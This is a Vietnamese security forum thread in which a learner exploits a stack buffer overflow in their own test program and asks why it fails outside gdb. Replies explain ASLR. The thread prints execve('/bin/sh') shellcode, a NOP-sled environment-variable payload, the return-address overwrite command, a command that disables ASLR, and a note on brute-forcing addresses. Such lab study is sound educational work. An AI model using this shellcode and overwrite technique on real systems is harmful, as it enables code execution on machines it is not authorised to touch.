[Question] Hỏi về buffer overflow |
06/12/2013 17:46:47 (+0700) | #1 | 279179 |
|
qwerty13
Member
|
0 |
|
|
Joined: 30/01/2013 06:37:58
Messages: 52
Offline
|
|
Chào mọi người, em có vài điều muốn hỏi về stack-based buffer overflow:
Em có 1 chương trình như sau:
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void foo(char *mes)
{
char buf[20];
strcpy(buf, mes);
}
int main(int argc, char **argv)
{
if (argc != 2) {
printf("Usage: %s <string>\n", argv[0]);
exit(1);
}
foo(argv[1]);
return 0;
}
Compile:
Code:
gcc -z execstack -fno-stack-protector -Wall -g overflow.c -o overflow
strcpy ở chương trình trên sẽ gây ra buffer overflow. Em thử khai thác:
Code:
(gdb) disass main
Dump of assembler code for function main:
0x08048496 <+0>: push ebp
0x08048497 <+1>: mov ebp,esp
0x08048499 <+3>: and esp,0xfffffff0
0x0804849c <+6>: sub esp,0x10
0x0804849f <+9>: cmp DWORD PTR [ebp+0x8],0x2
0x080484a3 <+13>: je 0x80484c6 <main+48>
0x080484a5 <+15>: mov eax,DWORD PTR [ebp+0xc]
0x080484a8 <+18>: mov eax,DWORD PTR [eax]
0x080484aa <+20>: mov DWORD PTR [esp+0x4],eax
0x080484ae <+24>: mov DWORD PTR [esp],0x8048570
0x080484b5 <+31>: call 0x8048330 <printf@plt>
0x080484ba <+36>: mov DWORD PTR [esp],0x1
0x080484c1 <+43>: call 0x8048360 <exit@plt>
0x080484c6 <+48>: mov eax,DWORD PTR [ebp+0xc]
0x080484c9 <+51>: add eax,0x4
0x080484cc <+54>: mov eax,DWORD PTR [eax]
0x080484ce <+56>: mov DWORD PTR [esp],eax
0x080484d1 <+59>: call 0x804847c <foo>
0x080484d6 <+64>: mov eax,0x0
0x080484db <+69>: leave
0x080484dc <+70>: ret
End of assembler dump.
Code:
(gdb) break 10
Breakpoint 1 at 0x8048494: file overflow.c, line 10.
(gdb) run AAAA
Starting program: /home/quan/bt/btc/shellcode/overflow AAAA
Breakpoint 1, foo (mes=0xbffff427 "AAAA") at overflow.c:10
10 }
(gdb) i r esp ebp
esp 0xbffff160 0xbffff160
ebp 0xbffff198 0xbffff198
(gdb) x/20xw $esp
0xbffff160: 0xbffff17c 0xbffff427 0xbffff402 0xb7fc0000
0xbffff170: 0x080484e0 0x08048380 0x00000000 0x41414141
0xbffff180: 0xb7fc0300 0x00000002 0x0804a000 0x08048532
0xbffff190: 0x00000002 0xbffff254 0xbffff1b8 0x080484d6
0xbffff1a0: 0xbffff427 0x00000000 0x080484eb 0xb7fc0000
(gdb) cont
Continuing.
[Inferior 1 (process 3161) exited normally]
Như vậy có thể thấy vị trí của return address là 0xbffff19c, vị trí của buf là 0xbffff17c. Ta sẽ cần 36 bytes để overwrite return address. Em dự định sẽ đặt shellcode vào 1 biến env là EGG cùng với 200 bytes NOP sled.
Đây là đoạn mã assembly em dùng làm shellcode:
Code:
BITS 32
; execve(const char *filename, char *const argv[], char *const envp[])
xor eax, eax
push eax
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov al, 11
int 0x80
Bây giờ em tìm địa chỉ của biến EGG:
Code:
quan@quantran:~/bt/btc/shellcode$ nasm shell.s
quan@quantran:~/bt/btc/shellcode$ export EGG=$(perl -e 'print "\x90"x200')$(cat shell)
quan@quantran:~/bt/btc/shellcode$ gdb -q ./overflow
Reading symbols from /home/quan/bt/btc/shellcode/overflow...done.
(gdb) break main
Breakpoint 1 at 0x804849f: file overflow.c, line 14.
(gdb) run
Starting program: /home/quan/bt/btc/shellcode/overflow
Breakpoint 1, main (argc=1, argv=0xbffff174) at overflow.c:14
14 if (argc != 2) {
(gdb) x/30s $esp + 0x260
...
0xbffff4f1: "EGG=", '\220' <repeats 196 times>...
0xbffff5b9: "\220\220\220\220\061\300Ph//shh/bin\211\343P\211\341P\211\342\260\v̀"
...
(gdb) cont
Continuing.
Usage: /home/quan/bt/btc/shellcode/overflow <string>
[Inferior 1 (process 3729) exited with code 01]
(gdb) quit
quan@quantran:~/bt/btc/shellcode$
Ta có thể thấy biến EGG nằm ở 0xbffff4f1. Khi chạy chương trình có thể địa chỉ sẽ khác đi 1 chút, tuy nhiên em nghĩ với 200 bytes NOP sled thì sẽ không vấn đề gì. Như vậy em sẽ dùng địa chỉ 0xbffff550 để overwrite return address.
Code:
quan@quantran:~/bt/btc/shellcode$ ./overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Segmentation fault (core dumped)
quan@quantran:~/bt/btc/shellcode$ gdb -q ./overflow
Reading symbols from /home/quan/bt/btc/shellcode/overflow...done.
(gdb) run $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Starting program: /home/quan/bt/btc/shellcode/overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
process 3810 is executing new program: /bin/dash
$ ls
Makefile aa.c helloworld helloworld.s overflow overflow.c shell shell.s test test.c
$
[Inferior 1 (process 3810) exited normally]
(gdb) quit
quan@quantran:~/bt/btc/shellcode$ ./overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Segmentation fault (core dumped)
Khi chạy ở ngoài thì bị segfault, tuy nhiên khi chạy ở gdb thì lại được??? Tại sao lại thế ạ? Liệu các biến môi trường có bị disable theo 1 cách nào đó không khi chương trình chạy ở ngoài? Sự khác biệt giữa chạy trong gdb với chạy ở ngoài là gì ạ?
Em cảm ơn trước ạ
P/s: Em vừa ngồi thử lại xong và bây giờ thì cả trong gdb cũng bị segfault. Pro Police đã bị disable, stack thì executable, shellcode đúng, vậy thì tại sao lại bị segfault ạ? |
|
Once Amser, forever Amser |
|
|
|
[Question] Hỏi về buffer overflow |
07/12/2013 07:20:53 (+0700) | #2 | 279182 |
StarGhost
Elite Member
|
0 |
|
|
Joined: 29/03/2005 20:34:22
Messages: 662
Location: The Queen
Offline
|
|
gdb hình như không bật ASLR thì phải... |
|
Mind your thought. |
|
|
|
[Question] Hỏi về buffer overflow |
07/12/2013 16:58:09 (+0700) | #3 | 279186 |
|
qwerty13
Member
|
0 |
|
|
Joined: 30/01/2013 06:37:58
Messages: 52
Offline
|
|
@StarGhost: Lần đầu tiên em nghe đến ASLR trong gdb sau khi bật lên thì đúng là địa chỉ của biến EGG có khác đi, tuy nhiên mỗi lần 1 khác. Em cũng có 1 chương trình để tìm địa chỉ biến môi trường theo tên biến và tên chương trình:
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* Get env var location. */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
Tuy nhiên mỗi lần chạy thì kết quả lại khác nhau. Có phải đây là do ASLR của linux không ạ? |
|
Once Amser, forever Amser |
|
|
|
[Question] Hỏi về buffer overflow |
09/12/2013 10:50:50 (+0700) | #4 | 279196 |
|
Ky0
Moderator
|
Joined: 16/08/2009 23:09:08
Messages: 532
Offline
|
|
Mình không rõ thực sự bạn muốn hỏi điều gì nữa
Lỗi trên bạn không khai thác được ở "bên ngoài" là do hệ điều hành của bạn đang bật chế độ bảo vệ ASLR (cái này bạn có thể xem tại http://en.wikipedia.org/wiki/Address_space_layout_randomization).
Nếu để phục vụ nhu cầu học tập tìm hiểu về các lỗi thì bạn cần Disable ASLR bằng cách dùng lệnh
Code:
# echo 0 > /proc/sys/kernel/randomize_va_space
Còn trong thực tế tế để khai thác lỗi này thì bạn phải bypass được các cơ chế bảo vệ của HĐH (ASLR, DEP ...)
Một vài ví dụ bypass:
- http://www.vnsecurity.net/2013/05/secuinside-ctf-2013-pwnme-writeup
- Sơ lược về ROP để bypass DEP/ASLR http://libamboo.so/forum/topic/26/
- Ky0 - |
|
UITNetwork.com
Let's Connect |
|
|
|
[Question] Hỏi về buffer overflow |
09/12/2013 14:29:54 (+0700) | #5 | 279197 |
|
qwerty13
Member
|
0 |
|
|
Joined: 30/01/2013 06:37:58
Messages: 52
Offline
|
|
@KyO: À em hỏi có phải địa chỉ của biến env mỗi lần 1 khác là do ALSR của linux không thì đúng là thế ạ. Em đã cho stack executable, disable Pro Police mà quên mất ALSR. Cảm ơn anh ạ.
À quên cho em hỏi, giá trị default của /proc/sys/kernel/randomize_va_space là 2 đúng k ạ? Em chỉnh về 0, bây giờ cho về 2 mà khi thử tìm địa chỉ biến môi trường thì có vẻ hơi lạ: 0xbfbb65e4, 0xbfeb25e4, 0xbf8fd5e4,... tức là 3 số cuối giống nhau ấy ạ, mà lúc trước thì không như thế. Em nghĩ là do base của stack dịch chuyển nhưng 3 số cuối vẫn giống nhau?
P/s: Em thử brute force đúng 1 địa chỉ 1000 lần, đến lần thứ 600 thì được với NOP sled 20000 bytes. |
|
Once Amser, forever Amser |
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|